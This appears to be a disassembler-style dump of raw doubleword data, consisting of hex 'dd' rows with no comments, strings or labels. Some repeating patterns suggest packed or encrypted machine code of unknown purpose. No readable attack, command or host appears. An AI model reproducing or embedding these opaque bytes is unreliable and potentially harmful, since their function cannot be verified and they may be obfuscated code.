		dd 1AC236B5h, 0B70E81FAh, 7D5AFF4h, 0ACEE65DEh,	61339E1Dh
		dd 0D94B5E1Ch, 0DB352334h, 27CC2DFBh, 13A6A3AEh, 0F31A5224h
		dd 0FE000001h, 46B130BBh, 8AF57477h, 0CC37B6C5h, 127DFC8Fh
		dd 55C24140h, 737644ADh, 0B6C989F4h, 0FD88CC37h, 3E4D137Eh
		dd 78EBD0BFh, 20416657h, 0EDF4497Bh, 7CC204AFh,	0F68A3FA1h
		dd 0BF1A35D8h, 0F38264Ch, 0A9F22FAEh, 4CBF1936h, 69103926h
		dd 0D8339728h, 0A91DF68h, 38E4608Bh, 1C30A31Ch,	362C53AFh
		dd 0AF4D82F5h, 5C85DFB4h, 0AD2497FBh, 1B76DAEDh, 0AF2D26ABh
		dd 4D2EDFB4h, 83D04780h, 32109000h, 0E1732DCCh,	0CCh, 18A3ED0Ch
		dd 0BAFF41B4h, 9EB3F76Ch, 4E0C9505h, 1B64D73Bh,	4CEFA7A8h
		dd 733CAB26h, 12970768h, 264C140Ah, 0CE4D5C22h,	0A481D63h
		dd 8B21677h, 54C740C4h,	2C532EDCh, 0BCCF8B02h, 307EED4Ch
		dd 8CC948A9h, 0D4444715h, 17A9A42h, 0AF4C948Eh,	44BDE6D5h
		dd 83FC8FCDh, 12C1D141h, 0D0402D2Ch, 0EDB6046Fh, 5DB81CAFh
		dd 45F457FCh, 784A13B9h, 0F540h, 2EB9FC00h, 727544AFh
		dd 0B4C788F3h, 0FA89CA35h, 3F42107Bh, 36AF53C0h, 7BE66564h
		dd 0BE29A83Bh, 570EFFAh, 0C2B130BBh, 65656ADDh,	3B6D2041h
		dd 5FD21BE6h, 264C7F70h, 40C93962h, 136A2972h, 83DE4241h
		dd 263BE22h, 43561883h,	0CB3E87C4h, 264C7F84h, 0EC35A5CEh
		dd 9F18A3EDh, 7FECE356h, 0FDBC264Ch, 0D4446DEAh, 18A3ED8Eh
		dd 5DF92599h, 56249BE4h, 7F9FB053h, 8AB3264Ch, 494CBF1Ah
		dd 192C598Eh, 8E6A65D8h, 3F68DFBEh, 97D97ADEh, 541A8504h
		dd 256EE145h, 0BE8E9DB2h, 1C8CB5DFh, 0B740D797h, 0B481B2A9h
		dd 0FF78034Dh, 55B9CC88h, 0EC298AFAh, 67B83AAh,	89F940A5h
		dd 0A013BE00h, 0E9B541AFh, 411B34A7h, 0E37E9B5h, 0F2DD5091h
		dd 0E0E9B541h, 91F556B7h, 0BC20A3F0h, 3FA67338h, 80EB6A71h
		dd 0F47AB3Eh, 0Ah, 0D7A41B62h, 0A51570D4h, 0A8EDC499h
		dd 541ABB1Fh, 7440E145h, 2C6C0D71h, 0C6943599h,	0FCBE5FC3h
		dd 0ABE889EDh, 4C13B418h, 7B3ADB3Fh, 50900468h,	405E089h
		dd 83000000h, 48704E8h,	14895C24h, 0E7895724h, 4C781h
		dd 0EF830000h, 243C8704h, 2404895Ch, 81E18951h,	4C1h, 4E98300h
		dd 5C240C87h, 53243489h, 0D0FB5BBh, 8BD88906h, 0C483241Ch
		dd 4EC8104h, 89000000h,	4812424h, 424h,	5F685E00h, 89000015h
		dd 468F2404h, 24348B08h, 81E28952h, 4C2h, 4C28100h, 87000000h
		dd 8B5C2414h, 89532404h, 4C381E3h, 83000000h, 1C8704C3h
		dd 0D7E95C24h, 40FFFB24h, 6D072350h, 0D87FDF59h, 0D14A5DFCh
		dd 29B8FF8Dh, 3060D1Bh,	36E0FFC5h, 4A0AA188h, 0FC63BC51h
		dd 571BD42Bh, 5F695BFAh, 0DF7B2281h, 25503D29h,	152BE353h
		dd 0D6FDC9Dh, 4A4D6B55h, 61397A0Ah, 0F92890B6h,	99778E45h
		dd 246CED1Dh, 0D31C0D40h, 3F2282F6h, 0B73A0BEDh, 512A021h
		dd 0E108BCFBh, 0EC606EC9h, 0E85160D0h, 10h, 0AAB65627h
		dd 524181C7h, 0B68BB95Ah, 0A2A10AD5h, 0B95F7EB3h, 593A4702h
		dd 752EC781h, 0F5530000h, 60F63359h, 0AACB8166h, 52F5601Bh
		dd 8B61615Fh, 0F0813704h, 2538F67Dh, 0BD71BB66h, 9808C081h
		dd 0D38B21CFh, 6B3AE881h, 0FE8A71CAh, 2820F50h,	8A000000h
		dd 37048FD7h, 0FE8h, 40884A00h,	0E7641522h, 8F4A7B3Fh
		dd 93CF8787h, 7E90EB81h, 0B65A6AA1h, 0A9EE8179h, 0E97AECF1h
		dd 0Ch,	7DCB27A6h, 0E87D26FBh, 1B3EDB50h, 0F1A5C681h, 0ED807AECh
		dd 70FE813Fh, 0FFFFF8Bh, 0FFFF8E85h, 9FE9FCFFh,	0CD000000h
		dd 47375C19h, 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h
		dd 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h
		dd 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh,	7E9BB98Bh
		dd 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h
		dd 3C33594Ah, 4D520071h, 5EF357DBh, 0BBEFB600h,	0BD899Dh
		dd 0B69F8995h, 97BBEFh,	0C3B1B6D0h, 527155h, 0C20DA437h
		dd 0E0910D3h, 8	dup(0)
		dd 6AE90000h, 68000010h, 60D1F3Eh, 0FA5DF1E9h, 202768FFh
		dd 0E7E9060Dh, 68FFFA5Dh, 60D2110h, 0FA5DDDE9h,	228768FFh
		dd 0D3E9060Dh, 68FFFA5Dh, 60D2321h, 0FA5DC9E9h,	23BE68FFh
		dd 0BFE9060Dh, 68FFFA5Dh, 60D2475h, 0FA5DB5E9h,	252468FFh
		dd 0ABE9060Dh, 68FFFA5Dh, 60D25F7h, 0FA5DA1E9h,	269868FFh
		dd 97E9060Dh, 68FFFA5Dh, 60D278Ah, 0FA5D8DE9h, 28DC68FFh
		dd 83E9060Dh, 68FFFA5Dh, 60D2B75h, 0FA5D79E9h, 2C4D68FFh
		dd 6FE9060Dh, 1FFFA5Dh,	99674516h, 3402E07Bh, 0D3A17FDCh
		dd 703E1C3Fh, 3DD8B6A5h, 0EE6DA82Fh, 87D44210h,	2338DBA9h
		dd 0C19A7745h, 0A62D11E3h, 84D487C4h, 4D06F49h,	2D2B4E0Dh
		dd 0D36A16Fh, 41EEEC32h, 0A96D50FFh, 8B15F368h,	0B0921996h
		dd 357EC84Bh, 0D65D43F2h, 78C15B03h, 4C73C188h,	0E09F8590h
		dd 2B010E31h, 0B978C094h, 0F68FB40Bh, 95E48F8Ch, 34h, 9D148BCh
		dd 24EDAB23h, 52015ABAh, 9B0BE26Fh, 458878BFh, 3B3F1522h
		dd 1FCD78C0h, 0E1E2A358h, 0AE6CE48Fh, 0D011F467h, 0E5h
		dd 66F520DEh, 34997C43h, 684E0D04h, 9A7866AAh, 28D79EC1h
		dd 0CE8C8A45h, 0E5769A44h, 868F5336h, 0A36EB2D5h, 0C05195B8h
		dd 5D26BD9Bh, 9B7EC76Eh, 0B1AA6876h, 0C706438Eh, 484B63DFh
		dd 3F04EA99h, 0EA4FA3BEh, 66DCBFF7h, 0D7C019DEh, 0CBEE6DA8h
		dd 8117D104h, 1E36A50h,	867EC68Ah, 759C6043h, 8A4628AFh
		dd 88CB7EC6h, 0A3B6B6D9h, 1B0E957Bh, 0E078BF90h, 2C35BF9Dh
		dd 805638BFh, 98DB78BFh, 3F7C03E9h, 7C72B52Bh, 80955339h
		dd 0E62FFDDBh, 0E7BB0AF1h, 75249ABFh, 0AAF3323Eh, 706CCD17h
		dd 0DFAh, 0A886D542h, 43213ADAh, 0E2C09B75h, 7F5DFE14h
		dd 19F764B1h, 2CE9EE7Eh, 9383512Fh, 0F71CEAC8h,	59B88664h
		dd 6E522402h, 0D48A05E7h, 11B08A84h, 6C4A1104h,	2AB1739Eh
		dd 7EC76B48h, 0FDDB8ACDh, 898C4A8Eh, 7464AFD2h,	0CCDAD5BFh
		dd 8909EC9Bh, 0DD644A90h, 78BFF006h, 0E4DC482h,	0C44124EBh
		dd 9C239B81h, 78C090BAh, 583D1EF8h, 79773215h, 90987A01h
		dd 0DA1D78C0h, 90946AF7h, 742278C0h, 8C8DF80Fh,	0ACFEE48Fh
		dd 25000000h, 2B4E0D04h, 0A2D2EE7h, 0C76E34FDh,	3F9F727Eh
		dd 0F4DA89D2h, 0E343022Fh, 0CFB200D5h, 0D5868B59h, 77AFB2B2h
		dd 12170A91h, 99DC78C0h, 0BB2831BBh, 0C0025234h, 0E594D778h
		dd 0A84478FFh, 468972B5h, 0E873A260h, 0BBBD820Ah, 0CF474847h
		dd 9E773B1Eh, 0C0F486BDh, 0AA0B17AAh, 0D11AEh, 6FEC2B00h
		dd 0A51C391h, 0A9B25E2Ch, 4615FDCBh, 0E07B9A68h, 0D2056702h
		dd 6C3A1843h, 5D3B1AAh,	0A16F4D0Eh, 3B0DEB70h, 8AEED057h
		dd 997384D4h, 0CD1104FAh, 7456DD47h, 0F97EC76Bh, 7A5807B6h
		dd 18F665ACh, 0AF911890h, 347EC76Bh, 4A90EF1h, 0E72B4E0Dh
		dd 8553312Ah, 69ADD08Bh, 13F57CA8h, 987EC76Bh, 0E9C8A655h
		dd 1842D7F2h, 21086C39h, 0EFD584CCh, 15AB977h, 298CF8CEh
		dd 0B99C83CBh, 0BFB6492Ch, 0B907CE78h, 594B5A16h, 0C7F6F1Eh
		dd 6134F335h, 0CDF0AAAFh, 0E36A4A4h, 0B2A96B97h, 8F961D03h
		dd 8C7B2F2Ah, 63282649h, 95522DF1h, 6DEDD0EFh, 0D0482EF4h
		dd 58488F0Bh, 0C3A6EADFh, 242E8136h, 957BBE75h,	43213AD7h
		dd 0DABC43BBh, 5F752435h, 0C3E6759Fh, 0A66A4DFCh, 0BB9F06Bh
		dd 34153C53h, 0C28D7D3h, 3140000h, 68AC7A58h, 0C94715F3h
		dd 2CE6B492h, 9283512Fh, 1C50EBC9h, 23015ABBh, 0BC9AC155h
		dd 583625EEh, 0F6D4878Ah, 0D7B94024h, 5C84D48Bh, 0D04E382h
		dd 6BAE9017h, 6C337EC7h, 0D22C8FBDh, 35E493CFh,	0BE561412h
		dd 0B968F320h, 1BC356D6h, 4FBBAE35h, 0BA7F78C1h, 189FD9B3h
		dd 78C16536h, 64578BBh,	7846743h, 2F19DEC4h, 0F273F430h
		dd 8F198F72h, 0E76E548Ah, 72B98164h, 3B00E629h,	4715A1CCh
		dd 0AC5A851h, 0B9BD27FDh, 6CB85D72h, 0B9BD03E5h, 96458872h
		dd 75E62F73h, 54070E52h, 0EBA80F43h, 0ED126917h, 0EA965F98h
		dd 4FF3h, 0D1481A00h, 0E05E2309h, 0D36041A9h, 0DEBBB981h
		dd 0FA256DABh, 58129917h, 9D78C032h, 5DB6745Ah,	0B95A18FEh
		dd 0D5B87FA2h, 99F0C85Fh, 0EB2678C0h, 45CC8A70h, 0EFBD3316h
		dd 363B0024h, 3BF7CFE3h, 0D6E5C7BCh, 276A78C0h,	2B595578h
		dd 0F600000Bh, 2309D148h, 3427EDABh, 0DA674A11h, 78B98442h
		dd 5816FC3Fh, 0F6C4A2B9h, 8D51C31Bh, 528D784h, 6C6C8F3Eh
		dd 82472DF5h, 3ED50637h, 33FA1Dh, 0F02FB66h, 3CBA9D4Ch
		dd 0E3C54CC4h, 6878BA43h, 401BF925h, 0E673561Dh, 72AC5EFFh
		dd 0D59379BCh, 0E972A23Ch, 838E5C3Ah, 0ACB5B5D8h, 0D6099076h
		dd 1A6CA53Ch, 76A2B95Ch, 61DEC19Ah, 7BE7E71Eh, 0F7581DBAh
		dd 0AB1FBh, 0CF8C8B00h,	6AF123F1h, 952BE8Ch, 0A6B55D2Bh
		dd 401BFAC8h, 32A5C762h, 0CC9A78E3h, 6533114Ah,	1CFADAEh
		dd 9B6D4B10h, 8D4E30B7h, 0F9D384D4h, 4BD24A5Ah,	7EC76B69h
		dd 0F57F1CA0h, 0EF335F2h, 0BE1F5D47h, 8130695Dh, 0B43B119Eh
		dd 0ACB57EC7h, 944318F9h, 9C7836AEh, 0A9D59CBFh, 7F0CEF6Ch
		dd 78B9CF90h, 0D7848D4Dh, 583EEDB4h, 6E4779Ah, 952C07Eh
		dd 783C1FE6h, 9F9FC299h, 0B97E64BAh, 5095CD4Ch,	34B29579h
		dd 0B476BAADh, 53C7F72h, 17AC39D3h, 170F0B6Ch, 2500000Ah
		dd 0BD8B69F2h, 58260457h, 0F7C5A3B8h, 9462401Bh, 61FCDA81h
		dd 1249CC0Bh, 0ABB06634h, 4714FFCDh, 0E5769B69h, 0CA513507h
		dd 84D48DE8h, 4F4936Dh,	0E72B4E0Dh, 8D4B312Ah, 36F1D487h
		dd 86BD02E4h, 0DE88B5FFh, 4CF8Ch, 9B229A00h, 7EC763B9h
		dd 0B318FB3Eh, 9078854Ah, 225DC519h, 0D0D3B53Ch, 15587EC7h
		dd 77AFB232h, 1C3FD391h, 0D14F32F9h, 0B9EC474Ah, 0E3C90C78h
		dd 916FEC25h, 0EA0D4EC3h, 0BAB407DDh, 42988178h, 0C5E2D55Ch
		dd 64A772B3h, 0ACEB752Dh, 2D298A17h, 97Ah, 280655C2h, 0C3A1BA5Ah
		dd 62401BF5h, 0FFDD7E94h, 9977E431h, 0AC696EFEh, 1303D1AFh
		dd 779C6A48h, 0D93806E4h, 0EED2A482h, 0D48E8567h, 91300A84h
		dd 684E0D04h, 10F368AAh, 77995755h, 0FF5CB8E4h,	0A2B9581Ch
		dd 744B2D7Fh, 88B5B6CFh, 42AD5DEh, 25E30000h, 288D70EBh
		dd 0C76B653Bh, 277ADF7Eh, 0D8BE6DEEh, 0B9869851h, 0B49ADD78h
		dd 5A401BF6h, 1E4779Ch,	48B038Bh, 78BA4E22h, 0BD8164A7h
		dd 0E6E40754h, 8A6DEE28h, 1198170Ah, 78BA4E2Fh,	0DCC271B4h
		dd 4669F21Eh, 0A61E9C7Fh, 0E8020BE1h, 8A6D0078h, 0B31D0AFDh
		dd 558CCF72h, 17AD9457h, 0C34B47A8h, 79000008h,	11DFBD9Eh
		dd 0AC7A5803h, 4B19F764h, 0E8B694C7h, 0B5502E2Dh, 66F520B7h
		dd 0FF5CBA88h, 9BC05321h, 3922EFBDh, 1EA5895Bh,	84D48F3Ch
		dd 4A48E7C1h, 0AED18A8Ch, 0D14004E7h, 0AB69678Ah, 6CDF06Bh
		dd 0A9B25F23h, 8CCF4286h, 6EED2569h, 5F24EC4Bh,	9FE4C600h
		dd 88B51D68h, 3666EDEh,	3B950000h, 7EC76B57h, 0F31D40D9h
		dd 15D3B968h, 72395CFFh, 0C88A118Fh, 0D78B986h,	0EF26E4CAh
		dd 88BFD9E8h, 0AC5B280Ah, 61DFC289h, 0FED6EA3h,	688BD041h
		dd 4329F168h, 56050DCBh, 0FC896C33h, 72B34661h,	0CAEC2366h
		dd 3517AD68h, 814D8D4h,	0EF280000h, 54C08E6Ch, 0B55B2907h
		dd 18FAC8A6h, 7E976543h, 864FFDDh, 371546CFh, 0D0AEAD69h
		dd 6C4A1102h, 0AE8739Eh, 0EBCD5438h, 7084D48Fh,	0D04F796h
		dd 6BAE9017h, 29EC7EC7h, 63480F32h, 0A4E7120h, 0B25F1D07h
		dd 6AD2B4A9h, 0DD577EC7h, 0C76B7456h, 7B6F97Eh,	6E763558h
		dd 1744CD09h, 0B1F59039h, 796DE88h, 0BD000000h,	2A74Ch
		dd 0D24AE900h, 0C76B694Bh, 69A2A07Eh, 5FF70A7Fh, 0C754377Ah
		dd 7EC781E3h, 4026FC65h, 0B99B30B9h, 0CF23578h,	0DA61C34Eh
		dd 78BA63F8h, 0A58B3A7Dh, 0A2D2EE7h, 5CFF1743h,	198F7239h
		dd 7295C64Bh, 5137EF72h, 61FA1BD9h, 0E7BF33Eh, 943971FCh
		dd 0DA7502E5h, 0DF72B326h, 899B659Ch, 43A417ADh, 74147h
		dd 3F1CFB00h, 0DA819361h, 79E22EFCh, 1645CD9Bh,	0B0AB6A38h
		dd 0A23537D2h, 3C0AE873h, 0D5A381DAh, 713F1D3Eh, 0BDDBBA0h
		dd 90BEA027h, 694384D4h, 4E0D04CAh, 0FA2AE72Bh,	0C76B9173h
		dd 24D3167Eh, 453A4201h, 5E37899h, 88B1295Ch, 762DEh, 4C890000h
		dd 1ECh, 6B5E3BE9h, 41D87EC7h, 7D3BB399h, 57E4C794h, 78B984CFh
		dd 2BA389CCh, 0D5B8A36Dh, 7D5B0011h, 7DDE37F5h,	0B99CBF51h
		dd 1C3F1CF5h, 0F7DD051Ch, 0B361D570h, 0F81BD972h, 96794063h
		dd 6B9FD619h, 0D417AD4Eh, 6A07773h, 7B9C0000h, 0E03402E0h
		dd 41CF9D7Bh, 0A46E3C1Ah, 0A0BD9B7h, 94D87351h,	0AB89D243h
		dd 442239DDh, 0E0BE9D76h, 7E5CFF12h, 5F41C8ACh,	0E484D491h
		dd 0D046B0Ah, 6F2D2B4Eh, 97D733A4h, 74203110h, 0F31EE2C5h
		dd 90864568h, 0EBAF9118h, 0AC337EC7h, 7EC7EACAh, 0E4270C4Fh
		dd 160A7101h, 4AA3E951h, 0C84B699Dh, 0FAA97093h, 9DBE5317h
		dd 0F000F2B7h, 0C362E2E1h, 6AE26AE0h, 0C7EA01E3h, 6043867Eh
		dd 8832C4C1h, 47CC8ADEh, 472AF114h, 706h, 0D4C2D00h, 0E9000001h
		dd 0B12F854Ah, 0EA1D3ED3h, 0D6B9B6ACh, 0C7A26C49h, 0EB2AE87Eh
		dd 0A3864D70h, 2E83E23h, 0B9BBEB7Bh, 0BFA5E878h, 6D4B1001h
		dd 3E9729Fh, 1546CD8Bh,	0BA853E20h, 0D1757578h,	390F34F6h
		dd 2DE51154h, 61440B2Eh, 6BB3A6A6h, 2D63FE85h, 256872B4h
		dd 0AC8226EEh, 0BCB81917h, 5AEh, 0F4D2898Eh, 8F6DEE26h
		dd 2E0C4FC1h, 0CBA9B260h, 654318FDh, 0E035A2CAh, 47CF9D7Bh
		dd 0AB683614h, 0D04D2B0h, 0BA9E704Eh, 0D4925133h, 5DFCD684h
		dd 40D10D04h, 0C8866C1Bh, 23EA0D4Eh, 0D0418540h, 0A1A9688Bh
		dd 47CE46DAh, 7EC76B65h, 0C4A7EAh, 0C36C4A11h, 0DE88B1C2h
		dd 7C9h, 4D4CF000h, 0E9000000h,	684E0D04h, 0FF178F0h, 947EC76Bh
		dd 6B7A5C51h, 0BCFF7EC7h, 37DA1ED9h, 0B9EC6FA7h, 2CBA9729h
		dd 678A3962h, 4B6EED23h, 204C0F07h, 874669F2h, 145B387Fh
		dd 0EA71A05Eh, 1C007707h, 84A7B45Eh, 0FB16DABDh, 21FC8260h
		dd 99000000h, 684E0D04h, 6B8769F0h, 0C90C7EC7h,	6F2D2BE6h
		dd 45D2B5A6h, 7EC76B6Eh, 0FA249BAFh, 0F7664417h, 694BD24Ah
		dd 0EE7EC76Bh, 0D04C8ABh, 6BAE9017h, 0F0337EC7h, 739D5B41h
		dd 0ED93B5E8h, 43796250h, 0E9A7A560h, 0D0503328h, 24AB9149h
		dd 78BA0B8Ch, 0A2604689h, 400EEC6Fh, 69678AD1h,	0D1F467ABh
		dd 0B2A7270Ah, 18FF866Ch, 0D572ACF0h, 65E7AC92h, 0DDA7C6A8h
		dd 0AB69E7CAh, 4917F566h, 0E8AD93C8h, 3152D28Fh, 4219F7B9h
		dd 0F5F5B093h, 49D0B66Ch, 6CA5BA16h, 3DE1185Bh,	21DB9FEh
		dd 45CA5A1h, 37E00000h,	9C784624h, 0FD13E1BFh, 60B2805Eh
		dd 0C64F1DFBh, 501CB795h, 0EFCD8E87h, 8866F521h, 240259BAh
		dd 0C2A0BB56h, 0A3850CF0h, 2884D493h, 0D04AF4Eh, 749C42D1h
		dd 0AB8938E7h, 42734DDh, 240A51C0h, 8CAFAC66h, 6F92C948h
		dd 5B16F9A8h, 395CFF17h, 183B20F5h, 0CD8AF1B9h,	7D591E26h
		dd 61E9C794h, 6B8062E9h, 0C2057EC7h, 0B14540DFh, 3F46DE88h
		dd 6D000000h, 858CD148h, 3DECB3D6h, 0B516D057h,	9C5A78BFh
		dd 36B05D7Ah, 0D52C9091h, 83C64326h, 0AA67259Dh, 0E4C78EB1h
		dd 8A68F320h, 0BFF71BF3h, 1EC05178h, 0D7B564F7h, 2E510A09h
		dd 3A932h, 0D148CF00h, 33AB2309h, 0C76ACAACh, 290C4F7Eh
		dd 0C077199Ch, 789BDE78h, 1101DD34h, 19789B4Ah,	6DF46A51h
		dd 6015F77Eh, 579A78C0h, 854AC2A8h, 0CC4CB9AFh,	31BEA1B0h
		dd 72B966AEh, 7463B373h, 8C0C316Dh, 8332E1C3h, 0B15F1DA5h
		dd 0D247C7AAh, 1C9F260Ch, 0E16CB259h, 0B940B89Eh, 6CB241D7h
		dd 7B36195Ch, 977DDE37h, 0FB1E3DD9h, 8A965134h,	0FCC1A71Ch
		dd 63B36BDDh, 8E68C5F8h, 0B7AA2A0Dh, 7F02896Fh,	4366AAA0h
		dd 9BCE8D85h, 71428361h, 0B43114C6h, 4CC59371h,	69A8EC0Fh
		dd 0C74E0CF2h, 0B13BB194h, 3A21F5A8h, 0BBA15017h, 0AF31CEF6h
		dd 0E4173152h, 0F2940FB5h, 0D25033B3h, 0A3C8784Bh, 97BAFD60h
		dd 0A3A8B48Ah, 2F944260h, 0AC786D18h, 401EFCh, 48450000h
		dd 9C2309D1h, 78BF9BC5h, 94908341h, 0C03B2B0Dh,	0BE6DB078h
		dd 74F1D49Bh, 4B100E31h, 0F41D54CDh, 1AF73467h,	1C3F1CF9h
		dd 36C3A655h, 78C00060h, 0C47B40EEh, 0E4901CC1h, 118CAh
		dd 0D04F100h, 68AA684Eh, 6B5335BCh, 95D87EC7h, 44803E6h
		dd 29274A11h, 0F87FA56Bh, 7EC76B16h, 86A9589Bh,	0F918DCBFh
		dd 16FB3F62h, 60E75F45h, 7EC76B7Eh, 8BD04303h, 0EC83F9DCh
		dd 7EC76E23h, 0C6A82FA7h, 4B7EC765h, 66684AD1h,	0AAED7EC7h
		dd 0BD5418FBh, 0C038C09Eh, 0C7665739h, 0B699DC7Eh, 193C1FF2h
		dd 9ABC561Bh, 0BFB8AE7Dh, 1DC55CDCh, 5638BF37h,	0DB7EC6C3h
		dd 0BF37B598h, 23461501h, 71EC795Ch, 3678BEEBh,	0CF8D15F3h
		dd 0E07B9945h, 64470E31h, 0EE287DE4h, 0D4834A6Dh, 0C6B176EEh
		dd 6DEE2227h, 4950834Ah, 0FA61AFA4h, 2FDB684Bh,	7472B55Ah
		dd 4CD34B31h, 72B6026Ah, 4BC9ACEFh, 0F5D3888Dh,	366DEE27h
		dd 17AA87B2h, 0C3F0EC4Dh, 79000001h, 11DFBD9Eh,	0AC7A5803h
		dd 4B19F764h, 0E8B694C7h, 0B5502E2Dh, 66F520B7h, 0FF5CBA88h
		dd 9BC05321h, 3922EFBDh, 1EA5895Bh, 84D4963Ch, 4A48E7C1h
		dd 6B694BD2h, 69A77EC7h, 0E7CA0DF2h, 8B69F223h,	290754BDh
		dd 9D148BAh, 9BC59C23h,	0FF4278BFh, 3AF9CFDCh, 0D98778C0h
		dd 52C07EE2h, 0FE872609h, 8DE48FE1h, 0ADh, 4E0D04B4h, 2D2EE72Bh
		dd 6E34FD0Ah, 9F727EC7h, 110DEBCh, 7B39375Ah, 62E2C596h
		dd 0BA4127FFh, 78BF8E3Fh, 1DDBC104h, 0F8568F3h,	60469C85h
		dd 0D3A349Bh, 7B998CD1h, 0D04E31E0h, 0B52E4449h, 0E07B4072h
		dd 0AA338181h, 0B1F47154h, 53080DCBh, 0F467AF6Dh, 0B1270AD1h
		dd 68AC32E3h, 0C4FC7F3h, 3C7322E9h, 17AAE8B6h, 0EBECE849h
		dd 51000000h, 0E9B795C6h, 8452302Bh, 23F1CF8Ch,	0C08E6CEFh
		dd 8D280655h, 3E1DF8DFh, 0D7849260h, 73E82BF9h,	114AC795h
		dd 0F67D6133h, 84D49714h, 420BF99h, 9E6C4A11h, 0B1AA6B73h
		dd 3A18C78Eh, 170D04CBh, 0C76BAE90h, 2024E57Eh,	0AA0E505h
		dd 4AAFE225h, 0DEA59B59h, 0EC305302h, 9678FF25h, 1B7EC7BDh
		dd 0C14B29D8h, 159C8258h, 78B9D82Ah, 4589ACEFh,	739358CCh
		dd 5C2734B6h, 4F6F5146h, 64A678BBh, 51674531h, 31E02308h
		dd 0CF8C8553h, 12649FACh, 0B162A769h, 0CD4387AAh, 0DF716B8Eh
		dd 0BE74BB98h, 26491200h, 97EC7C5Fh, 0B795C64Bh, 4D3328E9h
		dd 5CFF17D5h, 69A38567h, 0E4C70A47h, 0A86D2B29h, 60CD0B3h
		dd 0CA263255h, 3053080Ch, 81F68669h, 0C19FBC55h, 1A3D1EF3h
		dd 0D1Eh, 0A32AA200h, 4769A3C1h, 0BB200346h, 13041520h
		dd 30E12548h, 4FC4082Bh, 71A5E90Ch, 9283C7EAh, 0B362A6C9h
		dd 0D14185A8h, 0ED23678Ah, 0D074B6Eh, 572A2B4Eh, 0C781E789h
		dd 4, 4EF81h
		dd 3C870000h, 24895C24h, 24048324h, 53CE6804h, 0C890000h
		dd 7BC6824h, 3C890000h,	0B9685724h, 8B77C774h, 0C483243Ch
		dd 0E8C78104h, 81416A6Fh, 0DB395CC7h, 5FF9894Ch, 243C8B54h
		dd 5204C483h, 8BAh, 89FA0100h, 24148B0Ah, 4C481h, 34FF0000h
		dd 0C4815F24h, 4, 592434FFh, 4C481h, 97E90000h,	67FFFA4Dh
		dd 2D7DDD96h, 2D5DB8AEh, 0C503060Dh, 45EEE0FFh,	0BFFC784Ah
		dd 369B2A1Bh, 88A23622h, 62BD72C0h, 0F5A55962h,	757D664Fh
		dd 0B5255062h, 830B318Dh, 374D569Ch, 90953F6h, 6CD84F9Fh
		dd 17D60537h, 9B606EA9h, 86DF162Bh, 4A3C6874h, 2D4055A2h
		dd 2FD636C9h, 0E3183B16h, 52D371ABh, 8153113Ah,	7D2F10FCh
		dd 0EB8D1A3Fh, 3DFD400Bh, 3F2F626Fh, 0F1972496h, 9F013AB4h
		dd 8D8D075Fh, 60D2F0Fh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 14C35545h, 5FF9BF17h,	28999509h, 8D890607h
		dd 6070679h, 5E9h, 0D0A59E00h, 85C75CC1h, 6072CE5h, 5CB8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 2AC35040h
		dd 0E6DE3AEAh, 1D558589h, 85C70607h, 6072D05h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0D5C35343h
		dd 9589D94Ah, 6071B7Dh,	659B5FFh, 8C0F0607h, 6,	16AD8D89h
		dd 95FF0607h, 60700BDh,	11CDBD8Bh, 6A0607h, 16B595FFh
		dd 0C08B0607h, 0D1935AEBh, 0BEA73C94h, 0E339951Eh, 0E1862D45h
		dd 93A978AFh, 0AE1D93FAh, 30ABFD2h, 0BA95F9B5h,	4B1A752Dh
		dd 0DC6310F1h, 0FDDB65AAh, 9B1B399Dh, 962158B3h, 0EFBBBB27h
		dd 0F0F7C5CBh, 0B4255CDEh, 2B67E54h, 0CDB17908h, 0A413A9F8h
		dd 10C7D3ECh, 0D2A96979h, 3034CAE0h, 5B3A6938h,	1A4E9h
		dd 54C02300h, 0D52C2704h, 0B198D31Ah, 0CAD1D746h, 7E41EFB4h
		dd 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh
		dd 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh
		dd 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h
		dd 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h,	0E56CA191h
		dd 10000ACh, 43h dup(0)
		dd 84970000h, 0F033A26Dh, 0EE69h, 9 dup(0)
		dd 1087E900h, 1A680000h, 0E9060D33h, 0FFFB0F6Ah, 0D343168h
		dd 0F60E906h, 168FFFBh,	0E9060D36h, 0FFFB0F56h,	0D36E368h
		dd 0F4CE906h, 0DC68FFFBh, 0E9060D37h, 0FFFB0F42h, 0D38D068h
		dd 0F38E906h, 0A668FFFBh, 0E9060D39h, 0FFFB0F2Eh, 0D3A1968h
		dd 0F24E906h, 1768FFFBh, 0E9060D3Bh, 0FFFB0F1Ah, 0D3B9668h
		dd 0F10E906h, 3368FFFBh, 0E9060D3Ch, 0FFFB0F06h, 0D3CE868h
		dd 0EFCE906h, 9468FFFBh, 0E9060D3Dh, 0FFFB0EF2h, 0D3EFE68h
		dd 0EE8E906h, 768FFFBh,	0E9060D40h, 0FFFB0EDEh,	52D1DA9Fh
		dd 961596E7h, 0D857642Bh, 1E9D2E6Dh, 63E2E1B3h,	93E10CF6h
		dd 56269110h, 2D69D453h, 0EEB01B9Ah, 886D5CDBh,	414E3A15h
		dd 91E61820h, 9F18A3EDh, 79C0705Dh, 57C74C75h, 9B2E7011h
		dd 0DAE9AB22h, 4AAB1B76h, 87C836D6h, 396669DCh,	436C264Ch
		dd 950881E2h, 2C53C9B5h, 7D1A7EA7h, 0DFB54956h,	79D7A485h
		dd 732E359Bh, 2748h, 0A41B7300h, 146FD3D6h, 4ACA12A4h
		dd 0AF725ED1h, 3B642C53h, 0AF113AD7h, 6142DFB4h, 0CB583694h
		dd 3607732Dh, 32000001h, 86D2A3EDh, 87EBFCBDh, 0C667CB2Ch
		dd 3590F4F7h, 9C0F73D4h, 440A5B25h, 0CF70D435h,	419C008Bh
